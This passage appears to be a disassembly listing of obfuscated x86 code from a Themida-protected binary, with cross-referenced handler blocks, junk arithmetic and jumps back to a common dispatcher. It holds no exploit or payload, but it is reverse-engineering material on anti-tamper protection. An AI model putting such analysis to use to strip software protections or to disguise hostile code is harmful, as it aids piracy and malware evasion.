		jmp	loc_555321
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	edi
		push	85Eh
		jmp	loc_55B3CC
; ---------------------------------------------------------------------------


loc_55A32B:				; CODE XREF: Themida_:0055352Ej
		push	edx
		mov	edx, esp
		jmp	loc_555316
; ---------------------------------------------------------------------------


loc_55A333:				; CODE XREF: Themida_:00559D95j
		push	ebp
		pop	eax
		pop	ebp
		sub	esp, 4
		jmp	loc_55B517
; ---------------------------------------------------------------------------


loc_55A341:				; CODE XREF: Themida_:0055C8C3j
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_556782
; ---------------------------------------------------------------------------


loc_55A357:				; CODE XREF: Themida_:00555406j
		mov	esp, [esp]
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55A366:				; CODE XREF: Themida_:0055AC33j
		xor	ebx, 3F4F5A10h
		or	ebx, 0C793011h
		jmp	loc_553BC9
; ---------------------------------------------------------------------------


loc_55A377:				; CODE XREF: Themida_:0055D416j
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55A37C:				; CODE XREF: Themida_:0055DF05j
		pop	esp
		mov	[esp], ebp
		push	edi
		push	5E59474Fh
		pop	edi
		sub	edi, 51906ECFh
		xor	edi, 0CC8DA80h
		mov	ebp, edi
		pop	edi
		or	[edi+1Ch], ebp
		jmp	loc_55D903
; ---------------------------------------------------------------------------


loc_55A39E:				; CODE XREF: Themida_:00557988j
		sub	esi, 15D11F0h
		xor	ebx, esi
		pop	esi
		add	ecx, ebx
		pop	ebx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	fs:[edx], ax
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55A3BF:				; CODE XREF: Themida_:00553007j
		xchg	ebp, [esp]
		jmp	loc_55302F
; ---------------------------------------------------------------------------


loc_55A3C7:				; CODE XREF: Themida_:00559757j
		push	edi
		mov	edi, 42F23BD3h
		add	eax, edi
		jmp	loc_553CAD
; ---------------------------------------------------------------------------


loc_55A3D4:				; CODE XREF: Themida_:0055B41Dj
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_5535A3
; ---------------------------------------------------------------------------


loc_55A3DE:				; CODE XREF: Themida_:005552A2j
		mov	eax, 71D4F60h
		sub	eax, 500511B0h
		jmp	loc_55D487
; ---------------------------------------------------------------------------


loc_55A3ED:				; CODE XREF: Themida_:00556B71j
		pop	esp
		sub	esp, 4
		mov	[esp], ebx
		push	eax
		mov	ah, dl
		mov	bh, ah
		pop	eax
		push	edx
		jmp	loc_5542E7
; ---------------------------------------------------------------------------


loc_55A403:				; CODE XREF: Themida_:0055AEABj
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_55920D
; ---------------------------------------------------------------------------


loc_55A40E:				; CODE XREF: Themida_:005538C8j
		add	word ptr [esp+2], 32B8h
		jmp	loc_5529FB
; ---------------------------------------------------------------------------


loc_55A41A:				; CODE XREF: Themida_:00554829j
		pop	edx
		add	ebx, esi
		pop	esi
		sub	[edi+24h], ebx
		mov	ebx, [esp]
		push	edi
		jmp	loc_559F10
; ---------------------------------------------------------------------------


loc_55A42A:				; CODE XREF: Themida_:0055C942j
		sub	ebp, esi
		pop	esi
		add	ebp, ebx
		jmp	loc_552FF0
; ---------------------------------------------------------------------------


loc_55A434:				; CODE XREF: Themida_:0055A258j
		mov	esi, 4
		jmp	loc_555269
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		push	edx
		push	ecx
		mov	ecx, 4
		jmp	loc_55B9D0
; ---------------------------------------------------------------------------


loc_55A453:				; CODE XREF: Themida_:0055A20Bj
		pop	edi
		jmp	loc_5520E0
; ---------------------------------------------------------------------------


loc_55A459:				; CODE XREF: Themida_:00556B35j
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55A45E:				; CODE XREF: Themida_:005580E4j
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	1998h
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_557453
; ---------------------------------------------------------------------------


loc_55A484:				; CODE XREF: Themida_:0055291Aj
		mov	[esp], edi
		push	0
		mov	edi, [esp]
		add	esp, 4
		push	esi
		mov	esi, 18103030h
		add	edi, esi
		jmp	loc_558064
; ---------------------------------------------------------------------------


loc_55A49F:				; CODE XREF: Themida_:0055A8F5j
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55A4A4:				; CODE XREF: Themida_:00554F2Fj
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_55CB2B
; ---------------------------------------------------------------------------


loc_55A4B9:				; CODE XREF: Themida_:0055908Fj
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ebx, [esp]
		add	esp, 4
		shl	eax, cl
		push	6BCAh
		mov	[esp], ebx
		mov	ebx, 0FFFFFFFFh
		jmp	loc_55BCD2
; ---------------------------------------------------------------------------


loc_55A4D9:				; CODE XREF: Themida_:005521EFj
		pop	ecx
		jmp	loc_5537DE
; ---------------------------------------------------------------------------


loc_55A4DF:				; CODE XREF: Themida_:00552AE0j
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55A4F5:				; CODE XREF: Themida_:00556213j
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_55229E
; ---------------------------------------------------------------------------


loc_55A503:				; CODE XREF: Themida_:005526A7j
		push	esi
		mov	esi, 4
		add	dword ptr [esp+4], 7111631Fh
		add	[esp+4], esi
		sub	dword ptr [esp+4], 7111631Fh
		jmp	loc_55A25D
; ---------------------------------------------------------------------------


loc_55A522:				; CODE XREF: Themida_:00553A7Bj
		pop	esi
		jmp	loc_558133
; ---------------------------------------------------------------------------


loc_55A528:				; CODE XREF: Themida_:00558F69j
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_557116
; ---------------------------------------------------------------------------


loc_55A53B:				; CODE XREF: Themida_:0055A718j
		push	ebx
		mov	bh, 0EEh
		mov	dh, 8Eh
		add	dh, bh
		pop	ebx
		mov	ch, 2Ah
		add	ch, dh
		jmp	loc_55DC8B
; ---------------------------------------------------------------------------


loc_55A54C:				; CODE XREF: Themida_:0055A000j
		mov	esi, eax
		jmp	loc_5585BA
; ---------------------------------------------------------------------------


loc_55A553:				; CODE XREF: Themida_:00554251j
		push	ecx
		mov	cl, 0DAh
		not	cl
		inc	cl
		dec	cl
		xor	cl, 33h
		push	bx
		mov	bh, cl
		neg	bh
		mov	cl, bh
		pop	bx
		shl	cl, 3
		push	eax
		jmp	loc_55CDA0
; ---------------------------------------------------------------------------


loc_55A572:				; CODE XREF: Themida_:0055C1FAj
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		jmp	loc_55CE66
; ---------------------------------------------------------------------------


loc_55A581:				; CODE XREF: Themida_:0055DCB0j
		mov	ecx, esp
		jmp	loc_559518
; ---------------------------------------------------------------------------


loc_55A588:				; CODE XREF: Themida_:00556538j
		add	al, 7Ch
		push	edi
		mov	edi, esp
		push	eax
		mov	eax, 1E470D07h
		add	eax, 0E1B8F2FDh
		add	edi, eax
		pop	eax
		sub	edi, 4
		jmp	loc_558012
; ---------------------------------------------------------------------------


loc_55A5A6:				; CODE XREF: Themida_:0055B6ADj
		mov	ebx, 2C760ABDh
		jmp	loc_55BF85
; ---------------------------------------------------------------------------


loc_55A5B0:				; CODE XREF: Themida_:00554B77j
		push	dword ptr [esp]
		jmp	loc_555566
; ---------------------------------------------------------------------------


loc_55A5B8:				; CODE XREF: Themida_:0055B9C0j
		push	esp
		mov	esi, [esp]
		jmp	loc_5521AD
; ---------------------------------------------------------------------------


loc_55A5C1:				; CODE XREF: Themida_:00559D6Bj
		add	ecx, 27AD584Ah
		neg	ecx
		sub	ecx, 0C36686CAh
		and	eax, ecx
		pop	ecx
		shr	eax, 8
		xor	eax, ecx
		sub	esp, 4
		jmp	loc_55AB3D
; ---------------------------------------------------------------------------


loc_55A5E2:				; CODE XREF: Themida_:0055E010j
		sub	ebp, 99E60A23h
		jmp	loc_5549D3
; ---------------------------------------------------------------------------


loc_55A5ED:				; CODE XREF: Themida_:0055477Cj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55DBDB
; ---------------------------------------------------------------------------


loc_55A5FB:				; CODE XREF: Themida_:0055666Ej
		inc	al
		jmp	loc_5598B0
; ---------------------------------------------------------------------------


loc_55A602:				; CODE XREF: Themida_:005540F6j
		pop	esp
		jmp	loc_556687
; ---------------------------------------------------------------------------


loc_55A608:				; CODE XREF: Themida_:00552E85j
		add	ebx, 4013397Dh
		jmp	loc_55357D
; ---------------------------------------------------------------------------


loc_55A613:				; CODE XREF: Themida_:005534ECj
		mov	[esp], ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_55DF19
; ---------------------------------------------------------------------------


loc_55A623:				; CODE XREF: Themida_:00551BC3j
		mov	ebp, 1DD77C8h
		shr	ebp, 3
		jmp	loc_5568F0
; ---------------------------------------------------------------------------


loc_55A630:				; CODE XREF: Themida_:005527C5j
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_55CF77
; ---------------------------------------------------------------------------


loc_55A643:				; CODE XREF: Themida_:00558871j
		xor	edi, 24284823h
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		pop	esp
		sar	byte ptr [esp],	cl
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55A659:				; CODE XREF: Themida_:005558FBj
		sub	eax, 3B402F9h
		jmp	loc_5579D4
; ---------------------------------------------------------------------------


loc_55A663:				; CODE XREF: Themida_:0055E084j
		mov	ecx, [esp]
		add	esp, 4
		mov	edi, [esp]
		add	esp, 4
		sub	ebx, eax
		push	edi
		jmp	loc_559171
; ---------------------------------------------------------------------------


loc_55A67A:				; CODE XREF: Themida_:00552FB3j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		ror	word ptr [esp],	cl
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55A68E:				; CODE XREF: Themida_:00557DCAj
		mov	eax, [esp]
		add	esp, 4
		push	edx
		mov	edx, 67AC7543h
		sub	edx, 20D03828h
		sub	edx, 442F1486h
		push	eax
		mov	eax, 4F9B097Ch
		xor	eax, 0CCE56DCh
		jmp	loc_555114
; ---------------------------------------------------------------------------


loc_55A6B6:				; CODE XREF: Themida_:005561BCj
		mov	[esp], edx
		mov	edx, edi
		jmp	loc_5571F9
; ---------------------------------------------------------------------------


loc_55A6C0:				; CODE XREF: Themida_:005542EEj
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_556DC8
; ---------------------------------------------------------------------------


loc_55A6C9:				; CODE XREF: Themida_:00553D21j
		mov	[esp], ebx
		push	dword ptr [esp+4]
		jmp	loc_552774
; ---------------------------------------------------------------------------


loc_55A6D5:				; CODE XREF: Themida_:0055C175j
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55A6DA:				; CODE XREF: Themida_:005542C1j
		pop	edx
		add	al, bl
		sub	esp, 2
		jmp	loc_551F80
; ---------------------------------------------------------------------------


loc_55A6E8:				; CODE XREF: Themida_:005546ADj
		mov	ebp, esp
		push	0DFFh
		mov	[esp], ecx
		mov	ecx, 2ADC25AAh
		xor	ecx, 6BCB6E2Ah
		push	edi
		mov	edi, 0FFFFFFFFh
		add	ecx, edi
		pop	edi
		jmp	loc_557355
; ---------------------------------------------------------------------------


loc_55A70B:				; CODE XREF: Themida_:005571B8j
		push	esi
		mov	si, 4E75h
		jmp	loc_551B2F
; ---------------------------------------------------------------------------


loc_55A715:				; CODE XREF: Themida_:0055801Cj
		mov	[esp], edx
		jmp	loc_55A53B
; ---------------------------------------------------------------------------


loc_55A71D:				; CODE XREF: Themida_:00552D17j
		mov	dl, al
		mov	ch, dl
		mov	edx, [esp]
		jmp	loc_55B98C
; ---------------------------------------------------------------------------


loc_55A729:				; CODE XREF: Themida_:0055A846j
		mov	edx, esp
		push	edi
		push	ebp
		push	ebx
		mov	ebx, 3261725Fh
		or	ebx, 65822323h
		dec	ebx
		xor	ebx, 40CF36F9h
		mov	ebp, ebx
		jmp	loc_552370
; ---------------------------------------------------------------------------


loc_55A747:				; CODE XREF: Themida_:00558116j
		mov	bh, cl
		mov	ah, bh
		jmp	loc_558650
; ---------------------------------------------------------------------------


loc_55A750:				; CODE XREF: Themida_:0055A1E6j
		pop	dword ptr [esp]
		pop	esp
		push	edx
		mov	edx, esp
		push	esi
		mov	esi, 4A501B81h
		push	ebp
		mov	ebp, 79934EE4h
		neg	ebp
		and	ebp, 565B3533h
		neg	ebp
		push	ebx
		jmp	loc_5563AC
; ---------------------------------------------------------------------------


loc_55A773:				; CODE XREF: Themida_:00554F62j
		pop	ebx
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_552D23
; ---------------------------------------------------------------------------


loc_55A77F:				; CODE XREF: Themida_:0055C824j
		sub	ebx, 50B21E0Fh
		add	ebx, esi
		jmp	loc_551E91
; ---------------------------------------------------------------------------


loc_55A78C:				; CODE XREF: Themida_:00552938j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5574C3
; ---------------------------------------------------------------------------


loc_55A7A6:				; CODE XREF: Themida_:0055C14Fj
		sub	al, dl
		mov	dx, [esp]
		jmp	loc_555DF0
; ---------------------------------------------------------------------------


loc_55A7B1:				; CODE XREF: Themida_:0055C286j
		sub	ebx, 1
		push	ebx
		xchg	ecx, [esp]
		not	ecx
		xchg	ecx, [esp]
		pop	ebx
		add	ebx, 0BB3DED7Bh
		add	ebp, ebx
		pop	ebx
		jmp	loc_557A33
; ---------------------------------------------------------------------------


loc_55A7CC:				; CODE XREF: Themida_:00551F04j
		add	esi, 24AF67A5h
		push	edi
		jmp	loc_557378
; ---------------------------------------------------------------------------


loc_55A7D8:				; CODE XREF: Themida_:0055DBB9j
		add	edx, 8AE72B7h
		jmp	loc_55562C
; ---------------------------------------------------------------------------


loc_55A7E3:				; CODE XREF: Themida_:0055BC33j
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_55DE54
; ---------------------------------------------------------------------------


loc_55A7F3:				; CODE XREF: Themida_:00558AC6j
		mov	[esp], edx
		mov	edx, 0A4D4EDCh
		push	ebp
		mov	ebp, 318E060Eh
		jmp	loc_557C6E
; ---------------------------------------------------------------------------


loc_55A806:				; CODE XREF: Themida_:00557BDCj
		sub	ebp, ecx
		pop	ecx
		and	eax, ebp
		push	dword ptr [esp]
		jmp	loc_559D01
; ---------------------------------------------------------------------------


loc_55A813:				; CODE XREF: Themida_:005530A6j
		pop	ebx
		or	eax, eax
		jnz	loc_559B97
		push	ecx
		mov	ecx, 12A74CE4h
		sub	ecx, 0FFFFFFFFh
		and	ecx, 0AE86E98h
		sub	esp, 4
		jmp	loc_55706A
; ---------------------------------------------------------------------------


loc_55A833:				; CODE XREF: Themida_:00556E78j
		pop	eax
		sub	ebx, 317C7DD8h
		movzx	ax, byte ptr [eax]
		push	28E5h
		mov	[esp], edx
		jmp	loc_55A729
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	edx
		jmp	loc_55B845
; ---------------------------------------------------------------------------


loc_55A85D:				; CODE XREF: Themida_:00556542j
		add	ecx, 3ACB7299h
		dec	ecx
		jmp	loc_55A07E
; ---------------------------------------------------------------------------


loc_55A869:				; CODE XREF: Themida_:005597D2j
		mov	[esp], eax
		jmp	loc_55C99C
; ---------------------------------------------------------------------------


loc_55A871:				; CODE XREF: Themida_:005561F9j
		xor	ebp, [esp]
		jmp	loc_552FC6
; ---------------------------------------------------------------------------


loc_55A879:				; CODE XREF: Themida_:00555189j
		sub	eax, ebx
		sub	eax, 633D5285h
		mov	ebx, [esp]
		add	esp, 4
		push	39Dh
		mov	[esp], ecx
		push	edi
		push	0B0273F1h
		jmp	loc_557BAC
; ---------------------------------------------------------------------------


loc_55A899:				; CODE XREF: Themida_:00552BA4j
		shl	esi, 6
		or	esi, 436F7F5Dh
		xchg	edx, esi
		not	edx
		xchg	edx, esi
		sub	esi, 3490801Eh
		add	edi, esi
		pop	esi
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_55A232
; ---------------------------------------------------------------------------


loc_55A8BC:				; CODE XREF: Themida_:005540B2j
		add	esp, 4
		jmp	loc_553C27
; ---------------------------------------------------------------------------


loc_55A8C4:				; CODE XREF: Themida_:0055DDF1j
		sub	ebx, 76FC3C3Ah
		jmp	loc_554737
; ---------------------------------------------------------------------------


loc_55A8CF:				; CODE XREF: Themida_:0055BAD4j
		neg	esi
		and	esi, 2F0548D6h
		xor	esi, 6C923790h
		push	ebp
		mov	ebp, 6F7002EAh
		dec	ebp
		add	ebp, 77C430Eh
		sub	eax, ebp
		pop	ebp
		jmp	loc_55D21B
; ---------------------------------------------------------------------------


loc_55A8F2:				; CODE XREF: Themida_:00555DACj
		mov	[esp], ecx
		jmp	loc_55A49F
; ---------------------------------------------------------------------------


loc_55A8FA:				; CODE XREF: Themida_:005573F8j
		push	edi
		mov	edi, 40DD4937h
		add	edi, 71EB3F6Dh
		push	esi
		mov	esi, 512769BBh
		xor	esi, 16E1650Bh
		or	esi, 1CE15393h
		and	esi, 685F4543h
		xor	esi, 28C159A4h
		jmp	loc_55ADFA
; ---------------------------------------------------------------------------


loc_55A929:				; CODE XREF: Themida_:0055913Dj
		pop	edi
		add	esi, 4
		push	esi
		jmp	loc_55D574
; ---------------------------------------------------------------------------


loc_55A933:				; CODE XREF: Themida_:0055507Cj
		pop	ebp
		sub	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_55A0C8
; ---------------------------------------------------------------------------


loc_55A941:				; CODE XREF: Themida_:00553C49j
		add	bl, cl
		sub	bl, 0Dh
		pop	ecx
		add	bl, ah
		sub	bl, 50h
		push	eax
		mov	ah, 93h
		dec	ah
		jmp	loc_552AC0
; ---------------------------------------------------------------------------


loc_55A956:				; CODE XREF: Themida_:00555306j
		shr	edx, 2
		push	ecx
		jmp	loc_5599B5
; ---------------------------------------------------------------------------


loc_55A95F:				; CODE XREF: Themida_:00555A74j
		mov	edi, 45E2491Dh
		jmp	loc_55D202
; ---------------------------------------------------------------------------


loc_55A969:				; CODE XREF: Themida_:0055281Bj
		mov	esp, [esp]
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55A971:				; CODE XREF: Themida_:00557056j
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_553B08
; ---------------------------------------------------------------------------


loc_55A97C:				; CODE XREF: Themida_:00552EB3j
		add	edi, 4
		push	ecx
		jmp	loc_552B18
; ---------------------------------------------------------------------------


loc_55A988:				; CODE XREF: Themida_:0055BCA6j
		pop	esi
		push	ebx
		mov	ebx, 4FB106D6h
		push	ebp
		mov	ebp, 48CA9E4Ah
		sub	ebx, ebp
		pop	ebp
		add	eax, ebx
		jmp	loc_559533
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_555791
; ---------------------------------------------------------------------------


loc_55A9B3:				; CODE XREF: Themida_:00557537j
		xor	eax, 0D96EA96Fh
		sub	ebp, eax
		pop	eax
		or	ebp, 7BDF6770h
		inc	ebp
		sub	ebp, 78FC67E9h
		jmp	loc_55D0AB
; ---------------------------------------------------------------------------


loc_55A9CD:				; CODE XREF: Themida_:005553B0j
		pop	esi
		jmp	loc_558F62
; ---------------------------------------------------------------------------


loc_55A9D3:				; CODE XREF: Themida_:00557CDBj
		and	ebx, 42907AD4h
		add	ebx, 62046FCh
		jmp	loc_554C0C
; ---------------------------------------------------------------------------


loc_55A9E4:				; CODE XREF: Themida_:0055C4A1j
		sub	ebx, ebp
		pop	ebp
		and	eax, ebx
		pop	ebx
		sub	eax, 763E657Dh
		jmp	loc_55D82C
; ---------------------------------------------------------------------------


loc_55A9F4:				; CODE XREF: Themida_:00552EACj
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55AA00:				; CODE XREF: Themida_:0055D556j
		xor	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		movzx	ax, byte ptr [eax]
		push	small 5AFh
		mov	[esp], ax
		jmp	loc_55BAD9
; ---------------------------------------------------------------------------


loc_55AA1C:				; CODE XREF: Themida_:00556A6Dj
		pop	ecx
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_55CCFA
; ---------------------------------------------------------------------------


loc_55AA2E:				; CODE XREF: Themida_:00553F6Dj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	1995h
		mov	[esp], ebp
		push	813h
		mov	[esp], edi
		mov	edi, 80h
		push	ecx
		push	eax
		mov	eax, edi
		mov	ecx, eax
		pop	eax
		push	ebx
		mov	ebx, ecx
		jmp	loc_555E0F
; ---------------------------------------------------------------------------


loc_55AA63:				; CODE XREF: Themida_:00556F03j
		mov	ecx, 648308E6h
		inc	ecx
		push	edx
		mov	edx, 76B61F39h
		jmp	loc_55B791
; ---------------------------------------------------------------------------


loc_55AA74:				; CODE XREF: Themida_:00558889j
		mov	edi, esp
		add	edi, 4
		jmp	loc_55BB29
; ---------------------------------------------------------------------------


loc_55AA81:				; CODE XREF: Themida_:0055B987j
		and	edi, ebp
		jmp	loc_55285E
; ---------------------------------------------------------------------------
		lodsb
		add	al, 0D2h
		push	edx
		mov	dh, 70h
		neg	dh
		shl	dh, 4
		shr	dh, 3
		xchg	ch, dh
		dec	ch
		xchg	ch, dh
		xor	dh, 9
		sub	al, 6Ah
		sub	al, dh
		jmp	loc_5542BF
; ---------------------------------------------------------------------------


loc_55AAA8:				; CODE XREF: Themida_:00555FE4j
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5533D2
; ---------------------------------------------------------------------------


loc_55AAB6:				; CODE XREF: Themida_:00551FBCj
		mov	eax, 51F8251Ch
		push	ebx
		mov	ebx, 50E926D4h
		neg	ebx
		jmp	loc_55C0A9
; ---------------------------------------------------------------------------


loc_55AAC8:				; CODE XREF: Themida_:0055C9C0j
		add	esp, 4
		xor	ecx, 48E3291Dh
		mov	esi, ecx
		pop	ecx
		neg	esi
		add	esi, 0AD704458h
		add	ebx, esi
		mov	esi, [esp]
		push	4ED0h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [eax]
		jmp	loc_557512
; ---------------------------------------------------------------------------


loc_55AB02:				; CODE XREF: Themida_:00551CE9j
		mov	ebx, 2
		jmp	loc_55ACBB
; ---------------------------------------------------------------------------


loc_55AB0C:				; CODE XREF: Themida_:00559A6Ej
		push	6E18h
		mov	[esp], edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		sub	edi, 27F31837h
		jmp	loc_5522FD
; ---------------------------------------------------------------------------


loc_55AB27:				; CODE XREF: Themida_:0055D5A0j
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55AB2C:				; CODE XREF: Themida_:005578F0j
		add	esi, 0AA27F57h
		push	ebp
		mov	ebp, 0BB14D3DFh
		jmp	loc_558AE4
; ---------------------------------------------------------------------------


loc_55AB3D:				; CODE XREF: Themida_:0055A5DDj
		mov	[esp], ebx
		push	esp
		pop	ebx
		jmp	loc_55B3ED
; ---------------------------------------------------------------------------
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 2
		jmp	loc_559C0E
; ---------------------------------------------------------------------------


loc_55AB58:				; CODE XREF: Themida_:0055C33Cj
		pop	ecx
		push	ebp
		mov	ebp, 44EB1892h
		shl	ebp, 8
		jmp	loc_556057
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	63E1h
		mov	[esp], ebx
		jmp	loc_5578F5
; ---------------------------------------------------------------------------


loc_55AB77:				; CODE XREF: Themida_:0055958Dj
		sub	edi, 6909542h
		mov	esi, edi
		jmp	loc_5543D4
; ---------------------------------------------------------------------------


loc_55AB84:				; CODE XREF: Themida_:005532A6j
		pop	esp
		mov	[esp], ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		pop	esp


loc_55AB94:				; CODE XREF: Themida_:00552FCFj
		push	3DE9h
		mov	[esp], edi
		jmp	loc_556E4D
; ---------------------------------------------------------------------------


loc_55ABA1:				; CODE XREF: Themida_:00556FCCj
		add	edx, 4
		sub	edx, 4
		jmp	loc_5552F4
; ---------------------------------------------------------------------------


loc_55ABB2:				; CODE XREF: Themida_:00553A92j
		mov	ebp, ebx
		pop	ebx
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		pop	esp
		bswap	eax
		push	ecx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_55720D
; ---------------------------------------------------------------------------


loc_55ABCD:				; CODE XREF: Themida_:00554C4Aj
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		push	ebx
		jmp	loc_555613
; ---------------------------------------------------------------------------


loc_55ABDA:				; CODE XREF: Themida_:00556AEBj
		mov	edi, 4
		jmp	loc_55CB56
; ---------------------------------------------------------------------------


loc_55ABE4:				; CODE XREF: Themida_:0055DFA3j
		mov	esp, [esp]
		btr	[esp], ax
		pushf
		jmp	loc_55C0BB
; ---------------------------------------------------------------------------


loc_55ABF2:				; CODE XREF: Themida_:00554A97j
		add	edi, ebx
		pop	ebx
		sub	edx, edi
		pop	edi
		add	ebp, 7A231766h
		add	ebp, edx
		sub	ebp, 7A231766h
		pop	edx
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		jmp	loc_5594FE
; ---------------------------------------------------------------------------


loc_55AC18:				; CODE XREF: Themida_:0055C810j
		push	3E7Ch
		jmp	loc_555495
; ---------------------------------------------------------------------------


loc_55AC22:				; CODE XREF: Themida_:00551C23j
		sub	eax, 32663818h
		push	ecx
		mov	ecx, 6D157C7Fh
		push	ebx
		mov	ebx, 33BD1A25h
		jmp	loc_55A366
; ---------------------------------------------------------------------------


loc_55AC38:				; CODE XREF: Themida_:0055D8B3j
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55AC44:				; CODE XREF: Themida_:0055D50Cj
		neg	esi
		push	ebp
		mov	ebp, 99FA5CD3h
		sub	esi, ebp
		pop	ebp
		add	ebp, esi
		jmp	loc_551E76
; ---------------------------------------------------------------------------


loc_55AC56:				; CODE XREF: Themida_:0055BCFEj
		shl	esi, 4
		jmp	loc_552EF5
; ---------------------------------------------------------------------------


loc_55AC5E:				; CODE XREF: Themida_:0055661Cj
		push	esp
		pop	eax
		push	ebp
		mov	ebp, 7E9E380Dh
		add	ebp, 1
		xor	ebp, 7E9E380Ah
		push	edi
		mov	edi, 23A83109h
		neg	edi
		and	edi, 7E0C3ADEh
		add	edi, 3CDE52E6h
		jmp	loc_558B98
; ---------------------------------------------------------------------------


loc_55AC88:				; CODE XREF: Themida_:00559BECj
		pop	esi
		add	esi, 250FBB84h
		jmp	loc_5564C1
; ---------------------------------------------------------------------------


loc_55AC94:				; CODE XREF: Themida_:00555744j
		mov	edi, 36DE5634h
		shr	edi, 2
		jmp	loc_557BC4
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_559607
; ---------------------------------------------------------------------------


loc_55ACA7:				; CODE XREF: Themida_:005546D1j
		sub	ebx, ebp
		jmp	loc_55BD28
; ---------------------------------------------------------------------------


loc_55ACAE:				; CODE XREF: Themida_:0055B93Fj
		add	al, 98h
		sub	al, ch
		sub	al, 98h
		add	al, 8Eh
		jmp	loc_559DA2
; ---------------------------------------------------------------------------


loc_55ACBB:				; CODE XREF: Themida_:0055AB07j
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		jmp	loc_557A73
; ---------------------------------------------------------------------------
		push	dword ptr [edi+2Ch]
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55ACCE:				; CODE XREF: Themida_:0055249Ej
		and	edx, esi
		pop	esi
		push	ebx
		mov	ebx, 33232C4Ch
		xor	edx, ebx
		jmp	loc_556BFC
; ---------------------------------------------------------------------------
		push	dword ptr [edi+3Ch]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5592CF
; ---------------------------------------------------------------------------


loc_55ACF0:				; CODE XREF: Themida_:0055C3A9j
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 1
		and	eax, ebp
		jmp	loc_5546F3
; ---------------------------------------------------------------------------


loc_55AD11:				; CODE XREF: Themida_:0055CD11j
		mov	esi, 4
		add	ecx, esi
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5575FF
; ---------------------------------------------------------------------------


